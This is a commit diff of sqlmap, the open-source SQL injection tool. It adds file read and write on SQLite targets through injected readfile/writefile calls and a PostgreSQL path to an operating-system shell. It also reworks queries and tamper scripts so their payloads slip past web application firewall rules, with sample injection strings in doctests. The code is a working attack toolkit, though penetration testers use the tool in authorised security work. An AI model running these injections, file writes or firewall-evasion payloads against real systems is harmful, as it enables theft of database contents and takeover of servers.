raise SqlmapUnsupportedFeatureException(errMsg) """
Checks for the presence of a specific SQL function inside the back-end
DBMS (e.g. 'readfile'/'writefile' from the non-core 'fileio' extension,
as the sqlite3 command line client has those built in, while the host
application usually doesn't)
"""
def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): return inject.checkBooleanExpression("(SELECT COUNT(*) FROM pragma_function_list WHERE name='%s')>0" % name)
errMsg = "on SQLite it is not possible to write files"
raise SqlmapUnsupportedFeatureException(errMsg) def nonStackedReadFile(self, remoteFile):
if not self._checkFunction("readfile"):
errMsg = "on SQLite it is not possible to read files without "
errMsg += "the 'fileio' extension function 'readfile' being "
errMsg += "available inside the back-end DBMS"
raise SqlmapUnsupportedFeatureException(errMsg)
if not kb.bruteMode:
infoMsg = "fetching file: '%s'" % remoteFile
logger.info(infoMsg)
return inject.getValue("HEX(readfile('%s'))" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL)
def stackedReadFile(self, remoteFile):
return self.nonStackedReadFile(remoteFile)
def nonStackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
if not self._checkFunction("writefile"):
errMsg = "on SQLite it is not possible to write files without "
errMsg += "the 'fileio' extension function 'writefile' being "
errMsg += "available inside the back-end DBMS"
raise SqlmapUnsupportedFeatureException(errMsg)
logger.debug("encoding file to its hexadecimal string value")
fcEncodedList = self.fileEncode(localFile, "hex", True)
fcEncodedStr = fcEncodedList[0][2:]
fcEncodedStrLen = len(fcEncodedStr)
if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
warnMsg = "the injection is on a GET parameter and the file "
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
warnMsg += "bytes, this might cause errors in the file "
warnMsg += "writing process"
logger.warning(warnMsg)
debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
logger.debug(debugMsg)
# Note: 'unhex' (SQLite >= 3.41.0) keeps the write binary-safe; the hex
# string survives sqlmap's string escaping (it becomes CHAR(...) of the
# ASCII hex digits, which 'unhex' decodes back to the original bytes)
if self._checkFunction("unhex"):
content = "unhex('%s')" % fcEncodedStr
else:
warnMsg = "back-end DBMS does not have the 'unhex' function "
warnMsg += "(SQLite >= 3.41.0); the file will be written from a "
warnMsg += "textual value and non-ASCII bytes may get corrupted"
singleTimeWarnMessage(warnMsg)
with open(localFile, "rb") as f:
content = "'%s'" % f.read().decode("latin-1")
inject.getValue("writefile('%s',%s)" % (remoteFile, content), expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
return self.nonStackedWriteFile(localFile, remoteFile, fileType, forceCheck)
+7
View File
@@ -108,5 +108,12 @@ class Fingerprint(GenericFingerprint):
return False return False
def checkDbmsOs(self, detailed=False):
if Backend.getOs():
infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
logger.info(infoMsg)
else:
self.userChooseDbmsOs()
def forceDbmsEnum(self): def forceDbmsEnum(self):
conf.db = "%s%s" % (DBMS.SQLITE, METADB_SUFFIX) conf.db = "%s%s" % (DBMS.SQLITE, METADB_SUFFIX)
+2 -2
View File
@@ -145,7 +145,7 @@ class Enumeration(GenericEnumeration):
for db in dbs: for db in dbs:
for blind in blinds: for blind in blinds:
query = rootQuery.inband.query % db query = rootQuery.inband.query % ((db,) * 7)
retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName], blind=blind, alias=kb.aliasName) retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName], blind=blind, alias=kb.aliasName)
if retVal: if retVal:
@@ -276,7 +276,7 @@ class Enumeration(GenericEnumeration):
logger.info(infoMsg) logger.info(infoMsg)
for blind in blinds: for blind in blinds:
query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl)) query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, conf.db, safeSQLIdentificatorNaming(tbl, True))
retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.usertype' % kb.aliasName], blind=blind, alias=kb.aliasName) retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.usertype' % kb.aliasName], blind=blind, alias=kb.aliasName)
if retVal: if retVal:
+2 -1
View File
@@ -106,7 +106,8 @@ class Fingerprint(GenericFingerprint):
Backend.setVersion(str(result)) Backend.setVersion(str(result))
else: else:
for version in xrange(12, 16): for version in xrange(12, 16):
result = inject.checkBooleanExpression("PATINDEX('%%/%d[./]%%',@@VERSION)>0" % version) # Note: plain LIKE matches the same two shapes, without the bracket class that WAF/IPS score (e.g. OWASP CRS rule 932130)
result = inject.checkBooleanExpression("(@@VERSION LIKE '%%/%d.%%' OR @@VERSION LIKE '%%/%d/%%')" % (version, version))
if result: if result:
Backend.setVersion(str(version)) Backend.setVersion(str(version))
+1 -1
View File
@@ -71,7 +71,7 @@ class Custom(object):
output[i] = joinValue(output[i]) output[i] = joinValue(output[i])
return output return output
elif not isStackingAvailable() and not conf.direct: elif not isStackingAvailable() and not conf.direct and not inject.getGadget():
warnMsg = "execution of non-query SQL statements is only " warnMsg = "execution of non-query SQL statements is only "
warnMsg += "available when stacked queries are supported" warnMsg += "available when stacked queries are supported"
logger.warning(warnMsg) logger.warning(warnMsg)
+33 -18
View File
@@ -231,12 +231,17 @@ class Entries(object):
logger.info(infoMsg) logger.info(infoMsg)
try: try:
entries, lengths = keysetDumpTable(tbl, colList, int(count), keysetCursor) # None when the walk gave up mid-table: nothing is kept, so the
for column, columnEntries in entries.items(): # standard dump below redoes it rather than showing a short table
length = max(lengths[column], getConsoleLength(column)) result = keysetDumpTable(tbl, colList, int(count), keysetCursor)
kb.data.dumpedTable[column] = {"length": length, "values": columnEntries}
entriesCount = len(columnEntries) if result is not None:
keysetDone = bool(kb.data.dumpedTable) entries, lengths = result
for column, columnEntries in entries.items():
length = max(lengths[column], getConsoleLength(column))
kb.data.dumpedTable[column] = {"length": length, "values": columnEntries}
entriesCount = len(columnEntries)
keysetDone = bool(kb.data.dumpedTable)
except KeyboardInterrupt: except KeyboardInterrupt:
kb.dumpKeyboardInterrupt = True kb.dumpKeyboardInterrupt = True
clearConsoleLine() clearConsoleLine()
@@ -379,6 +384,26 @@ class Entries(object):
lengths = {} lengths = {}
entries = {} entries = {}
# Attempted before the chain below so that a walk which gave up mid-table (None) can
# fall through to the standard OFFSET paths - a short table is worse than a slow one.
# An interrupted walk keeps the chain out of a re-dump by claiming the branch itself.
keysetResult = None
if keysetCursor:
infoMsg = "using keyset (seek) pagination on column(s) '%s' " % ', '.join(keysetCursor)
infoMsg += "for table '%s'" % unsafeSQLIdentificatorNaming(tbl)
logger.info(infoMsg)
try:
keysetResult = keysetDumpTable(tbl, colList, count, keysetCursor)
except KeyboardInterrupt:
kb.dumpKeyboardInterrupt = True
clearConsoleLine()
warnMsg = "Ctrl+C detected in dumping phase"
logger.warning(warnMsg)
keysetResult = (entries, lengths)
if count == 0: if count == 0:
warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming(tbl)
warnMsg += "in database '%s' " % unsafeSQLIdentificatorNaming(conf.db) warnMsg += "in database '%s' " % unsafeSQLIdentificatorNaming(conf.db)
@@ -399,18 +424,8 @@ class Entries(object):
continue continue
elif keysetCursor: elif keysetResult is not None:
infoMsg = "using keyset (seek) pagination on column(s) '%s' " % ', '.join(keysetCursor) entries, lengths = keysetResult
infoMsg += "for table '%s'" % unsafeSQLIdentificatorNaming(tbl)
logger.info(infoMsg)
try:
entries, lengths = keysetDumpTable(tbl, colList, count, keysetCursor)
except KeyboardInterrupt:
kb.dumpKeyboardInterrupt = True
clearConsoleLine()
warnMsg = "Ctrl+C detected in dumping phase"
logger.warning(warnMsg)
elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX, DBMS.MCKOI, DBMS.RAIMA): elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX, DBMS.MCKOI, DBMS.RAIMA):
if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.RAIMA): if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.RAIMA):
+27 -1
View File
@@ -48,12 +48,17 @@ class Filesystem(object):
self.tblField = "data" self.tblField = "data"
def _checkFileLength(self, localFile, remoteFile, fileRead=False): def _checkFileLength(self, localFile, remoteFile, fileRead=False):
lengthQuery = None
if Backend.isDbms(DBMS.MYSQL): if Backend.isDbms(DBMS.MYSQL):
lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile
elif Backend.isDbms(DBMS.PGSQL) and not fileRead: elif Backend.isDbms(DBMS.PGSQL) and not fileRead:
lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid
elif Backend.isDbms(DBMS.SQLITE):
lengthQuery = "LENGTH(readfile('%s'))" % remoteFile
elif Backend.isDbms(DBMS.MSSQL): elif Backend.isDbms(DBMS.MSSQL):
self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)") self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)")
inject.goStacked("INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField)) inject.goStacked("INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField))
@@ -70,6 +75,9 @@ class Filesystem(object):
if fileRead and Backend.isDbms(DBMS.PGSQL): if fileRead and Backend.isDbms(DBMS.PGSQL):
logger.info("length of read file '%s' cannot be checked on PostgreSQL" % remoteFile) logger.info("length of read file '%s' cannot be checked on PostgreSQL" % remoteFile)
sameFile = True sameFile = True
elif lengthQuery is None:
logger.info("length of the %s file '%s' cannot be checked on %s" % ("read" if fileRead else "written", remoteFile, Backend.getDbms()))
sameFile = True
else: else:
logger.debug("checking the length of the remote file '%s'" % remoteFile) logger.debug("checking the length of the remote file '%s'" % remoteFile)
remoteFileSize = inject.getValue(lengthQuery, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) remoteFileSize = inject.getValue(lengthQuery, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
@@ -208,6 +216,11 @@ class Filesystem(object):
errMsg += "into the specific DBMS plugin" errMsg += "into the specific DBMS plugin"
raise SqlmapUndefinedMethod(errMsg) raise SqlmapUndefinedMethod(errMsg)
def nonStackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
errMsg = "'nonStackedWriteFile' method must be defined "
errMsg += "into the specific DBMS plugin"
raise SqlmapUndefinedMethod(errMsg)
def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
errMsg = "'stackedWriteFile' method must be defined " errMsg = "'stackedWriteFile' method must be defined "
errMsg += "into the specific DBMS plugin" errMsg += "into the specific DBMS plugin"
@@ -229,7 +242,7 @@ class Filesystem(object):
logger.debug(debugMsg) logger.debug(debugMsg)
fileContent = self.stackedReadFile(remoteFile) fileContent = self.stackedReadFile(remoteFile)
elif Backend.isDbms(DBMS.MYSQL) or Backend.isDbms(DBMS.PGSQL) or Backend.isDbms(DBMS.H2): elif Backend.isDbms(DBMS.MYSQL) or Backend.isDbms(DBMS.PGSQL) or Backend.isDbms(DBMS.H2) or Backend.isDbms(DBMS.SQLITE):
debugMsg = "going to try to read the file with non-stacked query " debugMsg = "going to try to read the file with non-stacked query "
debugMsg += "SQL injection technique" debugMsg += "SQL injection technique"
logger.debug(debugMsg) logger.debug(debugMsg)
@@ -302,6 +315,13 @@ class Filesystem(object):
debugMsg += "stacked query technique" debugMsg += "stacked query technique"
logger.debug(debugMsg) logger.debug(debugMsg)
written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck)
self.cleanup(onlyFileTbl=True)
elif Backend.isDbms(DBMS.PGSQL) and inject.getGadget():
debugMsg = "going to upload the file '%s' with " % fileType
debugMsg += "large object technique through a gadget"
logger.debug(debugMsg)
written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck) written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck)
self.cleanup(onlyFileTbl=True) self.cleanup(onlyFileTbl=True)
elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and Backend.isDbms(DBMS.MYSQL): elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and Backend.isDbms(DBMS.MYSQL):
@@ -316,6 +336,12 @@ class Filesystem(object):
logger.debug(debugMsg) logger.debug(debugMsg)
written = self.linesTerminatedWriteFile(localFile, remoteFile, fileType, forceCheck) written = self.linesTerminatedWriteFile(localFile, remoteFile, fileType, forceCheck)
elif Backend.isDbms(DBMS.SQLITE):
debugMsg = "going to upload the file '%s' with " % fileType
debugMsg += "'writefile' function"
logger.debug(debugMsg)
written = self.nonStackedWriteFile(localFile, remoteFile, fileType, forceCheck)
else: else:
errMsg = "none of the SQL injection techniques detected can " errMsg = "none of the SQL injection techniques detected can "
errMsg += "be used to write files to the underlying file " errMsg += "be used to write files to the underlying file "
+5
View File
@@ -27,6 +27,7 @@ from lib.core.exception import SqlmapNotVulnerableException
from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapSystemException
from lib.core.exception import SqlmapUndefinedMethod from lib.core.exception import SqlmapUndefinedMethod
from lib.core.exception import SqlmapUnsupportedDBMSException from lib.core.exception import SqlmapUnsupportedDBMSException
from lib.request import inject
from lib.takeover.abstraction import Abstraction from lib.takeover.abstraction import Abstraction
from lib.takeover.icmpsh import ICMPsh from lib.takeover.icmpsh import ICMPsh
from lib.takeover.metasploit import Metasploit from lib.takeover.metasploit import Metasploit
@@ -46,6 +47,8 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry):
def osCmd(self): def osCmd(self):
if isStackingAvailable() or conf.direct: if isStackingAvailable() or conf.direct:
web = False web = False
elif Backend.isDbms(DBMS.PGSQL) and inject.getGadget():
web = False
elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL): elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL):
infoMsg = "going to use a web backdoor for command execution" infoMsg = "going to use a web backdoor for command execution"
logger.info(infoMsg) logger.info(infoMsg)
@@ -68,6 +71,8 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry):
def osShell(self): def osShell(self):
if isStackingAvailable() or conf.direct: if isStackingAvailable() or conf.direct:
web = False web = False
elif Backend.isDbms(DBMS.PGSQL) and inject.getGadget():
web = False
elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL): elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL):
infoMsg = "going to use a web backdoor for command prompt" infoMsg = "going to use a web backdoor for command prompt"
logger.info(infoMsg) logger.info(infoMsg)
+5 -13
View File
@@ -32,6 +32,10 @@ requestFile =
# Example: +ext:php +inurl:"&id=" +intext:"powered by " # Example: +ext:php +inurl:"&id=" +intext:"powered by "
googleDork = googleDork =
# Load session from a stored (.sqlite) file
# Example: output/www.target.com/session.sqlite
sessionFile =
# These options can be used to specify how to connect to the target URL. # These options can be used to specify how to connect to the target URL.
[Request] [Request]
@@ -240,10 +244,6 @@ evalCode =
# Valid: True or False # Valid: True or False
optimize = False optimize = False
# Predict common queries output.
# Valid: True or False
predictOutput = False
# Use persistent HTTP(s) connections. # Use persistent HTTP(s) connections.
keepAlive = False keepAlive = False
@@ -606,7 +606,7 @@ sqlFile =
# These options can be used to run brute force checks. # These options can be used to run brute force checks.
[Brute force] [Brute]
# Check existence of common tables. # Check existence of common tables.
# Valid: True or False # Valid: True or False
@@ -720,10 +720,6 @@ regType =
# These options can be used to set some general working parameters. # These options can be used to set some general working parameters.
[General] [General]
# Load session from a stored (.sqlite) file
# Example: output/www.target.com/session.sqlite
sessionFile =
# Log all HTTP traffic into a textual file. # Log all HTTP traffic into a textual file.
trafficFile = trafficFile =
@@ -861,10 +857,6 @@ alert =
# Valid: True or False # Valid: True or False
beep = False beep = False
# Offline WAF/IPS payload detection testing.
# Valid: True or False
checkPayload = False
# Check for missing (optional) sqlmap dependencies. # Check for missing (optional) sqlmap dependencies.
# Valid: True or False # Valid: True or False
dependencies = False dependencies = False
+1 -2
View File
@@ -221,7 +221,6 @@ def main():
from lib.controller.controller import start from lib.controller.controller import start
if conf.profile: if conf.profile:
from lib.core.profiling import profile from lib.core.profiling import profile
globals()["start"] = start
profile() profile()
else: else:
try: try:
@@ -506,7 +505,7 @@ def main():
logger.critical(errMsg) logger.critical(errMsg)
raise SystemExit raise SystemExit
elif all(_ in excMsg for _ in ("FileNotFoundError: [Errno 2] No such file or directory", "cwd = os.getcwd()")): elif all(_ in excMsg for _ in ("FileNotFoundError: [Errno 2] No such file or directory", "os.getcwd()")):
errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip() errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip()
logger.critical(errMsg) logger.critical(errMsg)
raise SystemExit raise SystemExit
+8 -6
View File
@@ -19,16 +19,18 @@ def tamper(payload, **kwargs):
Replaces the greater-than operator (>) with NOT BETWEEN 0 AND # and the equal sign (=) with BETWEEN # AND # Replaces the greater-than operator (>) with NOT BETWEEN 0 AND # and the equal sign (=) with BETWEEN # AND #
Tested against: Tested against:
* Microsoft SQL Server 2005 * MySQL 8.4.9
* MySQL 4, 5.0 and 5.5 * MariaDB 11.8.8
* Oracle 10g * PostgreSQL 16.11
* PostgreSQL 8.3, 8.4, 9.0 * SQLite 3.45.1
* Microsoft SQL Server 2022
* Oracle 23ai
Notes: Notes:
* Useful to bypass weak and bespoke web application firewalls that * Useful to bypass weak and bespoke web application firewalls that
filter the greater than character filter the greater than character
* The BETWEEN clause is SQL standard. Hence, this tamper script * The BETWEEN clause is SQL standard, and the rewrite was confirmed
should work against all (?) databases to run unchanged on every engine listed above
>>> tamper('1 AND A > B--') >>> tamper('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--' '1 AND A NOT BETWEEN 0 AND B--'
+74 -6
View File
@@ -7,6 +7,8 @@ See the file 'LICENSE' for copying permission
import re import re
from lib.core.common import Backend
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL __priority__ = PRIORITY.NORMAL
@@ -28,6 +30,39 @@ def _balancedEnd(payload, start):
idx += 1 idx += 1
return -1 return -1
def _unwrapIsnull(query):
"""Rewrites sqlmap's MySQL NULL wrapper 'IFNULL(<x>,<y>)' into '(IF(<x> IS NULL,<y>,<x>))'."""
retVal = query
while True:
match = re.search(r"(?i)IFNULL\(", retVal)
if not match:
break
end = _balancedEnd(retVal, match.end() - 1)
if end < 0:
break
inner = retVal[match.end():end]
separator, depth = -1, 0 # the argument separator is the comma at the top level
for index, char in enumerate(inner):
if char == '(':
depth += 1
elif char == ')':
depth -= 1
elif char == ',' and depth == 0:
separator = index
if separator < 1:
break
field, default = inner[:separator], inner[separator + 1:]
retVal = "%s(IF(%s IS NULL,%s,%s))%s" % (retVal[:match.start()], field, default, field, retVal[end + 1:])
return retVal
def _reshape(payload, opener, tail, build): def _reshape(payload, opener, tail, build):
"""Replace every 'opener(<balanced query>)<tail>' with build(query, tail-match).""" """Replace every 'opener(<balanced query>)<tail>' with build(query, tail-match)."""
retVal = payload retVal = payload
@@ -51,6 +86,11 @@ def _reshape(payload, opener, tail, build):
pos = pos + match.end() pos = pos + match.end()
continue continue
replacement = build(query, rest) replacement = build(query, rest)
if replacement is None: # builder declined, leave this occurrence alone
pos = pos + match.end()
continue
retVal = retVal[:start] + replacement + retVal[end + 1 + rest.end():] retVal = retVal[:start] + replacement + retVal[end + 1 + rest.end():]
pos = start + len(replacement) pos = start + len(replacement)
return retVal return retVal
@@ -61,7 +101,7 @@ def tamper(payload, **kwargs):
sheds the function names anomaly-scoring WAFs key on: sheds the function names anomaly-scoring WAFs key on:
* MySQL: ORD(MID((<q>),<p>,1))><n> * MySQL: ORD(MID((<q>),<p>,1))><n>
-> RIGHT(LEFT((<q>),<p>),(<p><=CHAR_LENGTH((<q>))))>BINARY 0x<nn> -> RIGHT(LEFT((<q>),<p>),(<p><=LENGTH(CONVERT((<q>) USING ascii))))>BINARY 0x<nn>
* SQL Server: UNICODE(SUBSTRING((<q>),<p>,1))><n> (also ASCII(SUBSTRING(...))) * SQL Server: UNICODE(SUBSTRING((<q>),<p>,1))><n> (also ASCII(SUBSTRING(...)))
-> CAST(RIGHT(LEFT((<q>),<p>),CASE WHEN <p><=LEN((<q>)) THEN 1 ELSE 0 END) AS VARBINARY)>0x<nn> -> CAST(RIGHT(LEFT((<q>),<p>),CASE WHEN <p><=LEN((<q>)) THEN 1 ELSE 0 END) AS VARBINARY)>0x<nn>
@@ -73,6 +113,10 @@ def tamper(payload, **kwargs):
ORD/MID/ASCII/SUBSTRING/UNICODE (rule 942151) and the function-comparison shape (942190). ORD/MID/ASCII/SUBSTRING/UNICODE (rule 942151) and the function-comparison shape (942190).
LEFT/RIGHT are not in those blocklists, so the cumulative score collapses (often to 0) while LEFT/RIGHT are not in those blocklists, so the cumulative score collapses (often to 0) while
the single-character, byte-ordered semantics of the bisection are preserved. the single-character, byte-ordered semantics of the bisection are preserved.
* On MySQL the character count runs over an ASCII copy of the value (one character, one byte),
because CHAR_LENGTH() is blacklisted by the very same rule, and the NULL wrapper IFNULL() is
rewritten to IF(). Counting bytes of the original instead would run past the end of a
multi-byte value, and a bare 'SELECT IF(' would be scored by rule 942170.
* MySQL 'BINARY' / SQL Server '... AS VARBINARY' force a byte (case- and accent-sensitive) * MySQL 'BINARY' / SQL Server '... AS VARBINARY' force a byte (case- and accent-sensitive)
comparison, so extraction stays exact under a case-insensitive default collation. Both use a comparison, so extraction stays exact under a case-insensitive default collation. Both use a
native hex literal (0x<nn>), so nothing needs string-escaping. native hex literal (0x<nn>), so nothing needs string-escaping.
@@ -82,13 +126,15 @@ def tamper(payload, **kwargs):
forever and never terminate. forever and never terminate.
>>> tamper('1 AND ORD(MID((SELECT IFNULL(CAST(name AS NCHAR),0x20) FROM users ORDER BY id LIMIT 0,1),5,1))>71') >>> tamper('1 AND ORD(MID((SELECT IFNULL(CAST(name AS NCHAR),0x20) FROM users ORDER BY id LIMIT 0,1),5,1))>71')
'1 AND RIGHT(LEFT((SELECT IFNULL(CAST(name AS NCHAR),0x20) FROM users ORDER BY id LIMIT 0,1),5),(5<=CHAR_LENGTH((SELECT IFNULL(CAST(name AS NCHAR),0x20) FROM users ORDER BY id LIMIT 0,1))))>BINARY 0x47' '1 AND RIGHT(LEFT((SELECT (IF(CAST(name AS NCHAR) IS NULL,0x20,CAST(name AS NCHAR))) FROM users ORDER BY id LIMIT 0,1),5),(5<=LENGTH(CONVERT((SELECT (IF(CAST(name AS NCHAR) IS NULL,0x20,CAST(name AS NCHAR))) FROM users ORDER BY id LIMIT 0,1) USING ascii))))>BINARY 0x47'
>>> tamper('1 AND ORD(MID((SELECT 1),1,1))>0') >>> tamper('1 AND ORD(MID((SELECT 1),1,1))>0')
'1 AND RIGHT(LEFT((SELECT 1),1),(1<=CHAR_LENGTH((SELECT 1))))>BINARY 0x00' '1 AND RIGHT(LEFT((SELECT 1),1),(1<=LENGTH(CONVERT((SELECT 1) USING ascii))))>BINARY 0x00'
>>> tamper('1 AND ORD(MID((SELECT 1),1,1)) IN (65,66,0)')
"1 AND BINARY RIGHT(LEFT((SELECT 1),1),(1<=LENGTH(CONVERT((SELECT 1) USING ascii)))) IN (0x41,0x42,'')"
>>> tamper('1 AND 5141=5141') >>> tamper('1 AND 5141=5141')
'1 AND 5141=5141' '1 AND 5141=5141'
>>> tamper('1 AND ORD(MID((SELECT 1),1,1))<65') >>> tamper('1 AND ORD(MID((SELECT 1),1,1))<65')
'1 AND RIGHT(LEFT((SELECT 1),1),(1<=CHAR_LENGTH((SELECT 1))))<BINARY 0x41' '1 AND RIGHT(LEFT((SELECT 1),1),(1<=LENGTH(CONVERT((SELECT 1) USING ascii))))<BINARY 0x41'
>>> tamper('1 AND UNICODE(SUBSTRING((SELECT TOP 1 name FROM users),3,1))>64') >>> tamper('1 AND UNICODE(SUBSTRING((SELECT TOP 1 name FROM users),3,1))>64')
'1 AND CAST(RIGHT(LEFT((SELECT TOP 1 name FROM users),3),CASE WHEN 3<=LEN((SELECT TOP 1 name FROM users)) THEN 1 ELSE 0 END) AS VARBINARY)>0x40' '1 AND CAST(RIGHT(LEFT((SELECT TOP 1 name FROM users),3),CASE WHEN 3<=LEN((SELECT TOP 1 name FROM users)) THEN 1 ELSE 0 END) AS VARBINARY)>0x40'
""" """
@@ -98,7 +144,21 @@ def tamper(payload, **kwargs):
def _mysql(query, rest): def _mysql(query, rest):
position, operator, value = rest.group(1), rest.group(2), int(rest.group(3)) position, operator, value = rest.group(1), rest.group(2), int(rest.group(3))
return "RIGHT(LEFT(%s,%s),(%s<=CHAR_LENGTH(%s)))%sBINARY 0x%02x" % (query, position, position, query, operator, value) query = _unwrapIsnull(query)
return "RIGHT(LEFT(%s,%s),(%s<=LENGTH(CONVERT(%s USING ascii))))%sBINARY 0x%02x" % (query, position, position, query, operator, value)
def _mysqlSet(query, rest):
# set-membership form of the same read ('... IN (<ordinals>)', used by the Huffman retrieval).
# ORD('') is 0, so a past-the-end position matches the ordinal 0, which is the empty string here
position = rest.group(1)
ordinals = [int(_) for _ in rest.group(2).split(',') if _.strip().isdigit()]
if not ordinals or any(_ > 255 for _ in ordinals): # a byte comparison cannot represent those
return None
query = _unwrapIsnull(query)
members = ",".join("''" if _ == 0 else "0x%02x" % _ for _ in ordinals)
return "BINARY RIGHT(LEFT(%s,%s),(%s<=LENGTH(CONVERT(%s USING ascii)))) IN (%s)" % (query, position, position, query, members)
def _mssql(query, rest): def _mssql(query, rest):
position, operator, value = rest.group(1), rest.group(2), int(rest.group(3)) position, operator, value = rest.group(1), rest.group(2), int(rest.group(3))
@@ -109,6 +169,14 @@ def tamper(payload, **kwargs):
return "CAST(RIGHT(LEFT(%s,%s),CASE WHEN %s<=LEN(%s) THEN 1 ELSE 0 END) AS VARBINARY)%s0x%02x" % (query, position, position, query, operator, value) return "CAST(RIGHT(LEFT(%s,%s),CASE WHEN %s<=LEN(%s) THEN 1 ELSE 0 END) AS VARBINARY)%s0x%02x" % (query, position, position, query, operator, value)
comma_tail = r"\s*,\s*(\d+)\s*,\s*1\)\)\s*(>=|<=|>|<|=)\s*(\d+)" comma_tail = r"\s*,\s*(\d+)\s*,\s*1\)\)\s*(>=|<=|>|<|=)\s*(\d+)"
retVal = _reshape(payload, r"(?i)ORD\(MID\(", comma_tail, _mysql) set_tail = r"\s*,\s*(\d+)\s*,\s*1\)\)\s+IN\s*\(([\d,\s]+)\)"
# also on payloads that are not single-character reads. Gated on MySQL, because IFNULL() is used
# by H2, HSQLDB, Cubrid and others too, and IF() is not a function there
if Backend.getIdentifiedDbms() == DBMS.MYSQL and re.search(r"(?i)IFNULL\(", payload):
payload = _unwrapIsnull(payload)
retVal = _reshape(payload, r"(?i)ORD\(MID\(", set_tail, _mysqlSet)
retVal = _reshape(retVal, r"(?i)ORD\(MID\(", comma_tail, _mysql)
retVal = _reshape(retVal, r"(?i)(?:UNICODE|ASCII)\(SUBSTRING\(", comma_tail, _mssql) retVal = _reshape(retVal, r"(?i)(?:UNICODE|ASCII)\(SUBSTRING\(", comma_tail, _mssql)
return retVal return retVal

Some files were not shown because too many files have changed in this diff Show More